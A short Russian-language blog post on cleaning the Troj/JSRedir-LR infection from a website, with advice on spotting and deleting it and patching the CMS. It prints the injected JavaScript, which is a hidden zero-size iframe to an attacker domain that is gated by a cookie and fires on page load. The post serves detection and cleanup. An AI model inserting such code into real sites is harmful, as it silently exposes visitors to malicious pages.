удаление вируса Troj/JSRedir-LR

Яндекс/Гугл стали ругаться на сайт о наличии Troj/JSRedir-LR, ищите в конце яваскриптов следующее.

Вставка выглядит примерно так:

var ifh8l8b = document.createElement('iframe');ifh8l8b.name = 'ifh8l8b';ifh8l8b.src = '//тут_домен/';ifh8l8b.style.width = '0px';ifh8l8b.style.height = '0px';window.onload = function() {if (document.cookie.indexOf('ifh8l8b=') == -1) {document.cookie = 'ifh8l8b=yes; path=/; expires=Wednesday, 18-May-33 03:33:20 GMT';document.getElementsByTagName('body')[0].appendChild(ifh8l8b);}};

«Примерно» значит, что есть много вариантов этой вставки.
Общее у всех:
начинается с

var ... = document.createElement('iframe');

параметр

expires=Wednesday, 18-May-33 03:33:20 GMT

Безжалостно удаляем, обновляем движок и модули/плагины, ставим заплатки.

Скажите свое мнение

ваш email не публикуется. обязательно *

;-) :yawn: :whew: :toivo: :tmi: :time: :thinking: :talking: :sweating: :swear: :sun: :star: :smoke: :smirk: :sleepy: :skype: :shock: :shake: :rofl: :rain: :punch: :puke: :poolparty: :pizza: :phone: :party: :oops: :nod: :no: :ninja: :neutral: :nerd: :music: :muscle: :mrgreen: :movie: :mooning: :mmm: :middlefinger: :makeup: :mail: :mad: :lol: :lipssealed: :kiss: :itwashtme: :inlove: :idea: :hi: :heidy: :heart: :headbang: :happy: :handshake: :giggle: :fubar: :flower: :evilgrin: :emo: :dull: :drunk: :drink: :doh: :devil: :dance: :cry: :cool: :coffie: :clapping: :cash: :call: :cake: :bug: :brokenheart: :bow: :blush: :beer: :bear: :bandit: :arrow: :angry: :angel: :^) :???: :?: :-| :-o :-P :-D :-) :-( :!:

 

*

code

Этот сайт использует Akismet для борьбы со спамом. Узнайте как обрабатываются ваши данные комментариев.